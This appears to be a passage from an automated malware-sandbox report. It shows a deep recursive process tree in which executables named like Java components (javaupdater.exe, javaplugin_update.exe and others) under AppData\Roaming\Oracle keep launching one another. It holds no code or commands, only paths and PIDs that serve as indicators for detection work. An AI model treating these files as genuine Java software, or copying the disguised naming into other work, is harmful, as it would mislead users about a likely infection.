C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe13⤵PID:10616
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe14⤵PID:10696
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe15⤵PID:10788
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe16⤵PID:10876
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe17⤵PID:10980
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe18⤵PID:11068
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe19⤵PID:11180
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe20⤵PID:6788
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe21⤵PID:6820
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe22⤵PID:11328
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe23⤵PID:11420
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe24⤵PID:11500
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe25⤵PID:11592
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe26⤵PID:11708
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe27⤵PID:11780
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe28⤵PID:11880
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe29⤵PID:7164
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe30⤵PID:12012
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe31⤵PID:12128
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe32⤵PID:5044
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe33⤵PID:6236
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe34⤵PID:7552
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe35⤵PID:7684
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe36⤵PID:7804
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe37⤵PID:7884
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe38⤵PID:5888
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe39⤵PID:2500
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe40⤵PID:10448
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe41⤵PID:6416
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe42⤵PID:11704
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe43⤵PID:2740
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe44⤵PID:6216
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe45⤵PID:7728
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe46⤵PID:7948
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe47⤵PID:6276
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe48⤵PID:8196
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe49⤵PID:8288
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe50⤵PID:8392
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe51⤵PID:8548
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe52⤵PID:8644
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe53⤵PID:8728
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe54⤵PID:8828
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe55⤵PID:8912
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe56⤵PID:8988
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe57⤵PID:9068
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe58⤵PID:9172
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe59⤵PID:6452
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe60⤵PID:6564
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe61⤵PID:9312
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe62⤵PID:9416
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe63⤵PID:9492
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe64⤵PID:9612
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe65⤵PID:9724
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe66⤵PID:9808
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe67⤵PID:9904
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe68⤵PID:10044
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe69⤵PID:10160
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe70⤵PID:6608
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe71⤵PID:6740
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe72⤵PID:10316
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe73⤵PID:10424
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe74⤵PID:10508
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe75⤵PID:10600
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe76⤵PID:10688
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe77⤵PID:10816
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe78⤵PID:10896
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe79⤵PID:11000
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe80⤵PID:11108
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe81⤵PID:11192
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe82⤵PID:6756
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe83⤵PID:3596
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe84⤵PID:11280
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe85⤵PID:11356
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe86⤵PID:11452
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe87⤵PID:11528
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe88⤵PID:11616
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe89⤵PID:11792
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe90⤵PID:11872
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe91⤵PID:11952
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe92⤵PID:12044
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe93⤵PID:12132
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe94⤵PID:12232
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe95⤵PID:6932
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe96⤵PID:7028
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe97⤵PID:7124
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe98⤵PID:1768
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe99⤵PID:5776
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe100⤵PID:5628
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe101⤵PID:9208
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe102⤵PID:4700
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe103⤵PID:7312
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe104⤵PID:2536
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe105⤵PID:4792
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe106⤵PID:7328
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe107⤵PID:7388
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe108⤵PID:7224
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe109⤵PID:7436
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe110⤵PID:7516
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe111⤵PID:7584
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe112⤵PID:7732
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe113⤵PID:7828
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe114⤵PID:7920
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe115⤵PID:8028
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe116⤵PID:8156
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe117⤵PID:8184
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe118⤵PID:8236
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe119⤵PID:8312
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe120⤵PID:8424
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe121⤵PID:8444
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe122⤵PID:8612
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-